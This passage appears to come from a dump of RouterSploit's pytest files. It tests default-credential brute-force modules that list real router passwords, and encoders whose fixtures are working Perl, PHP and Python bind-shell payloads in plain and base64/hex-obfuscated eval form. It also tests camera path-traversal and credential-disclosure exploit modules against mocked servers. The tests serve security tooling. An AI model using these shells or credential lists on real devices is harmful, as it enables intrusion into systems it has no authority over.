    "content": "from routersploit.modules.creds.routers.tplink.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/ubiquiti/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/ubiquiti/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.ubiquiti.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"root:ubnt\", \"ubnt:ubnt\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/ubiquiti/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.ubiquiti.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"root:ubnt\", \"ubnt:ubnt\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/ubiquiti/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.ubiquiti.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"root:ubnt\", \"ubnt:ubnt\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/zte/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/zte/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.zte.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"ZXDSL:ZXDSL\", \"user:user\", \"on:on\", \"root:Zte521\", \"root:W!n0&oO7.\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/zte/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.zte.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"ZXDSL:ZXDSL\", \"user:user\", \"on:on\", \"root:Zte521\", \"root:W!n0&oO7.\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/zte/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.zte.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"ZXDSL:ZXDSL\", \"user:user\", \"on:on\", \"root:Zte521\", \"root:W!n0&oO7.\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/zyxel/__init__.py",
    "content": ""
  },
  {
    "path": "tests/creds/routers/zyxel/test_ftp_default_creds.py",
    "content": "from routersploit.modules.creds.routers.zyxel.ftp_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against FTP server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 21\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:1234\", \"admin:user\", \"admin:Zyxel*2012*\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/zyxel/test_ssh_default_creds.py",
    "content": "from routersploit.modules.creds.routers.zyxel.ssh_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against SSH server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 22\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:1234\", \"admin:user\", \"admin:Zyxel*2012*\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is False\n    assert exploit.check_default() is None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/creds/routers/zyxel/test_telnet_default_creds.py",
    "content": "from routersploit.modules.creds.routers.zyxel.telnet_default_creds import Exploit\n\n\ndef test_check_success(generic_target):\n    \"\"\" Test scenario - testing against Telnet server \"\"\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 23\n    assert exploit.threads == 1\n    assert exploit.defaults == [\"admin:admin\", \"admin:1234\", \"admin:user\", \"admin:Zyxel*2012*\"]\n    assert exploit.stop_on_success is True\n    assert exploit.verbosity is True\n\n    exploit.target = generic_target.host\n    exploit.port = generic_target.port\n\n    assert exploit.check() is True\n    assert exploit.check_default() is not None\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/encoders/__init__.py",
    "content": ""
  },
  {
    "path": "tests/encoders/perl/__init__.py",
    "content": ""
  },
  {
    "path": "tests/encoders/perl/test_base64.py",
    "content": "from routersploit.modules.encoders.perl.base64 import Encoder\n\n\n# perl bind tcp payload with rport=4321\nbind_tcp = (\n    \"use IO;foreach my $key(keys %ENV){\" +\n    \"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,\" +\n    \"4321\" +\n    \",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){\" +\n    \"if($_=~ /(.*)/){system $1;}};\"\n)\n\n# perl bind tcp payload with rport=4321 encoded with perl/base64\nbind_tcp_encoded = (\n    \"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));\"\n)\n\n\ndef test_payload_encoding():\n    \"\"\" Test scenario - payload encoding \"\"\"\n\n    encoder = Encoder()\n    assert encoder.encode(bind_tcp) == bind_tcp_encoded\n"
  },
  {
    "path": "tests/encoders/perl/test_hex.py",
    "content": "from routersploit.modules.encoders.perl.hex import Encoder\n\n\n# perl bind tcp payload with rport=4321\nbind_tcp = (\n    \"use IO;foreach my $key(keys %ENV){\" +\n    \"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,\" +\n    \"4321\" +\n    \",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){\" +\n    \"if($_=~ /(.*)/){system $1;}};\"\n)\n\n# perl bind tcp payload with rport=4321 encoded with perl/hex\nbind_tcp_encoded = (\n    \"eval(pack('H*','75736520494f3b666f7265616368206d7920246b6579286b6579732025454e56297b69662824454e567b246b65797d3d7e2f282e2a292f297b24454e567b246b65797d3d24313b7d7d24633d6e657720494f3a3a536f636b65743a3a494e4554284c6f63616c506f72742c343332312c52657573652c312c4c697374656e292d3e6163636570743b247e2d3e66646f70656e2824632c77293b535444494e2d3e66646f70656e2824632c72293b7768696c65283c3e297b696628245f3d7e202f282e2a292f297b73797374656d2024313b7d7d3b'));\"\n)\n\n\ndef test_payload_encoding():\n    \"\"\" Test scenario - payload encoding \"\"\"\n\n    encoder = Encoder()\n    assert encoder.encode(bind_tcp) == bind_tcp_encoded\n"
  },
  {
    "path": "tests/encoders/php/__init__.py",
    "content": ""
  },
  {
    "path": "tests/encoders/php/test_base64.py",
    "content": "from routersploit.modules.encoders.php.base64 import Encoder\n\n\n# php bind tcp payload with rport 4321\nbind_tcp = (\n    \"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);\" +\n    \"socket_bind($s,\\\"0.0.0.0\\\",4321);\" +\n    \"socket_listen($s,1);\" +\n    \"$cl=socket_accept($s);\" +\n    \"while(1){\" +\n    \"if(!socket_write($cl,\\\"$ \\\",2))exit;\" +\n    \"$in=socket_read($cl,100);\" +\n    \"$cmd=popen(\\\"$in\\\",\\\"r\\\");\" +\n    \"while(!feof($cmd)){\" +\n    \"$m=fgetc($cmd);\" +\n    \"socket_write($cl,$m,strlen($m));\" +\n    \"}}\"\n)\n\n# php bind tcp payload with rport=4321 encoded with php/base64\nbind_tcp_encoded = (\n    \"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));\"\n)\n\n\ndef test_payload_encoding():\n    \"\"\" Test scenario - payload encoding \"\"\"\n\n    encoder = Encoder()\n    assert encoder.encode(bind_tcp) == bind_tcp_encoded\n"
  },
  {
    "path": "tests/encoders/php/test_hex.py",
    "content": "from routersploit.modules.encoders.php.hex import Encoder\n\n\n# php bind tcp payload with rport 4321\nbind_tcp = (\n    \"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);\" +\n    \"socket_bind($s,\\\"0.0.0.0\\\",4321);\" +\n    \"socket_listen($s,1);\" +\n    \"$cl=socket_accept($s);\" +\n    \"while(1){\" +\n    \"if(!socket_write($cl,\\\"$ \\\",2))exit;\" +\n    \"$in=socket_read($cl,100);\" +\n    \"$cmd=popen(\\\"$in\\\",\\\"r\\\");\" +\n    \"while(!feof($cmd)){\" +\n    \"$m=fgetc($cmd);\" +\n    \"socket_write($cl,$m,strlen($m));\" +\n    \"}}\"\n)\n\n# php bind tcp payload with rport=4321 encoded with php/hex\nbind_tcp_encoded = (\n    \"eval(hex2bin('24733d736f636b65745f6372656174652841465f494e45542c534f434b5f53545245414d2c534f4c5f544350293b736f636b65745f62696e642824732c22302e302e302e30222c34333231293b736f636b65745f6c697374656e2824732c31293b24636c3d736f636b65745f616363657074282473293b7768696c652831297b69662821736f636b65745f77726974652824636c2c222420222c322929657869743b24696e3d736f636b65745f726561642824636c2c313030293b24636d643d706f70656e282224696e222c227222293b7768696c65282166656f662824636d6429297b246d3d66676574632824636d64293b736f636b65745f77726974652824636c2c246d2c7374726c656e28246d29293b7d7d'));\"\n)\n\n\ndef test_payload_encoding():\n    \"\"\" Test scenario - payload encoding \"\"\"\n\n    encoder = Encoder()\n    assert encoder.encode(bind_tcp) == bind_tcp_encoded\n"
  },
  {
    "path": "tests/encoders/python/__init__.py",
    "content": ""
  },
  {
    "path": "tests/encoders/python/test_base64.py",
    "content": "from routersploit.modules.encoders.python.base64 import Encoder\n\n\n# python bind tcp payload with rport=4321\nbind_tcp = (\n    \"import socket,os\\n\" +\n    \"so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n\" +\n    \"so.bind(('0.0.0.0',4321))\\n\" +\n    \"so.listen(1)\\n\" +\n    \"so,addr=so.accept()\\n\" +\n    \"x=False\\n\" +\n    \"while not x:\\n\" +\n    \"\\tdata=so.recv(1024)\\n\" +\n    \"\\tstdin,stdout,stderr,=os.popen3(data)\\n\" +\n    \"\\tstdout_value=stdout.read()+stderr.read()\\n\" +\n    \"\\tso.send(stdout_value)\\n\"\n)\n\n# python bind tcp payload with rport=4321 encoded with python/base64\nbind_tcp_encoded = (\n    \"exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))\"\n)\n\n\ndef test_payload_enconding():\n    \"\"\" Test scenario - payload encoding \"\"\"\n\n    encoder = Encoder()\n    assert encoder.encode(bind_tcp) == bind_tcp_encoded\n"
  },
  {
    "path": "tests/encoders/python/test_hex.py",
    "content": "from routersploit.modules.encoders.python.hex import Encoder\n\n\n# python bind tcp payload with rport=4321\nbind_tcp = (\n    \"import socket,os\\n\" +\n    \"so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n\" +\n    \"so.bind(('0.0.0.0',4321))\\n\" +\n    \"so.listen(1)\\n\" +\n    \"so,addr=so.accept()\\n\" +\n    \"x=False\\n\" +\n    \"while not x:\\n\" +\n    \"\\tdata=so.recv(1024)\\n\" +\n    \"\\tstdin,stdout,stderr,=os.popen3(data)\\n\" +\n    \"\\tstdout_value=stdout.read()+stderr.read()\\n\" +\n    \"\\tso.send(stdout_value)\\n\"\n)\n\n# python bind tcp payload with rport=4321 encoded with python/hex\nbind_tcp_encoded = (\n    \"exec('696d706f727420736f636b65742c6f730a736f3d736f636b65742e736f636b657428736f636b65742e41465f494e45542c736f636b65742e534f434b5f53545245414d290a736f2e62696e64282827302e302e302e30272c3433323129290a736f2e6c697374656e2831290a736f2c616464723d736f2e61636365707428290a783d46616c73650a7768696c65206e6f7420783a0a09646174613d736f2e726563762831303234290a09737464696e2c7374646f75742c7374646572722c3d6f732e706f70656e332864617461290a097374646f75745f76616c75653d7374646f75742e7265616428292b7374646572722e7265616428290a09736f2e73656e64287374646f75745f76616c7565290a'.decode('hex'))\"\n)\n\n\ndef test_payload_enconding():\n    \"\"\" Test scenario - payload encoding \"\"\"\n\n    encoder = Encoder()\n    assert encoder.encode(bind_tcp) == bind_tcp_encoded\n"
  },
  {
    "path": "tests/exploits/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/avigilon/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/avigilon/test_videoiq_camera_path_traversal.py",
    "content": "from routersploit.modules.exploits.cameras.avigilon.videoiq_camera_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/<path:path>\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"root:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n    assert exploit.filename == \"/etc/passwd\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/brickcom/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/brickcom/test_corp_network_cameras_conf_disclosure.py",
    "content": "from routersploit.modules.exploits.cameras.brickcom.corp_network_cameras_conf_disclosure import Exploit\n\n\nconfigfile = (\n    \"DeviceBasicInfo.firmwareVersion=v3.0.6.12\"\n    \"DeviceBasicInfo.macAddress=00:00:00:00:00:00\"\n    \"DeviceBasicInfo.sensorID=OV9X11\"\n    \"DeviceBasicInfo.internalName=Brickcom\"\n    \"DeviceBasicInfo.productName=Di-1092AX\"\n    \"DeviceBasicInfo.displayName=CB-1092AX\"\n    \"DeviceBasicInfo.modelNumber=XXX\"\n    \"DeviceBasicInfo.companyName=Brickcom Corporation\"\n    \"DeviceBasicInfo.comments=[CUBE HD IPCam STREEDM]\"\n    \"DeviceBasicInfo.companyUrl=www.brickcom.com\"\n    \"DeviceBasicInfo.serialNumber=AXNB02B211111\"\n    \"DeviceBasicInfo.skuType=LIT\"\n    \"DeviceBasicInfo.ledIndicatorMode=1\"\n    \"DeviceBasicInfo.minorFW=1\"\n    \"DeviceBasicInfo.hardwareVersion=\"\n    \"DeviceBasicInfo.PseudoPDseProdNum=P3301\"\n    \"AudioDeviceSetting.muted=0\"\n    \"UserSetSetting.userList.size=2\"\n    \"UserSetSetting.userList.users0.index=0\"\n    \"UserSetSetting.userList.users0.password=MyM4st3rP4ss\"\n    \"UserSetSetting.userList.users0.privilege=1\"\n    \"UserSetSetting.userList.users0.username=Cam_User\"\n    \"UserSetSetting.userList.users1.index=0\"\n    \"UserSetSetting.userList.users1.password=C0mm0mP4ss\"\n)\n\n\ndef test_check_v1_success(target):\n    \"\"\" Test scenario - successful check via method 1 \"\"\"\n\n    route_mock = target.get_route_mock(\"/configfile.dump\", methods=[\"GET\"])\n    route_mock.return_value = configfile\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/brickcom/test_users_cgi_creds_disclosure.py",
    "content": "from flask import request, Response\nfrom base64 import b64decode\nfrom routersploit.modules.exploits.cameras.brickcom.users_cgi_creds_disclosure import Exploit\n\n\nresponse = (\n    \"\"\"\n    size=4\n    User1.index=1\n    User1.username=admin\n    User1.password=test1234\n    User1.privilege=1\n\n    User2.index=2\n    User2.username=viewer\n    User2.password=viewer\n    User2.privilege=0\n\n    User3.index=3\n    User3.username=rviewer\n    User3.password=rviewer\n    User3.privilege=2\n\n    User4.index=0\n    User4.username=visual\n    User4.password=visual1234\n    User4.privilege=0\n    \"\"\"\n)\n\n\ndef apply_response(*args, **kwargs):\n    if \"Authorization\" in request.headers.keys():\n        creds = str(b64decode(request.headers[\"Authorization\"].replace(\"Basic \", \"\")), \"utf-8\")\n\n        if creds in [\"rviewer:rviewer\"]:\n            return response, 200\n\n    resp = Response(\"Unauthorized\")\n    resp.headers[\"WWW-Authenticate\"] = \"Basic ABC\"\n    return resp, 401\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/users.cgi\", methods=[\"GET\", \"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check() is True\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/cisco/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/cisco/test_video_surv_path_traversal.py",
    "content": "from routersploit.modules.exploits.cameras.cisco.video_surv_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successul check \"\"\"\n\n    route_mock = target.get_route_mock(\"/BWT/utils/logs/read_log.jsp\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"admin:x:0:0:root:/root:/bin/bash\"\n        \"daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\"\n        \"bin:x:2:2:bin:/bin:/usr/sbin/nologin\"\n        \"sys:x:3:3:sys:/dev:/usr/sbin/nologin\"\n        \"sync:x:4:65534:sync:/bin:/bin/sync\"\n        \"games:x:5:60:games:/usr/games:/usr/sbin/nologin\"\n        \"man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\"\n        \"lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\"\n        \"mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\"\n        \"news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\"\n        \"uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\"\n        \"proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\"\n        \"www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\"\n        \"backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/passwd\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/cameras/dlink/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/cameras/dlink/test_dcs_930l_932l_auth_bypass.py",
    "content": "from flask import Response\nfrom base64 import b64decode\nfrom routersploit.modules.exploits.cameras.dlink.dcs_930l_932l_auth_bypass import Exploit\n\n\ncontent = b64decode(b\"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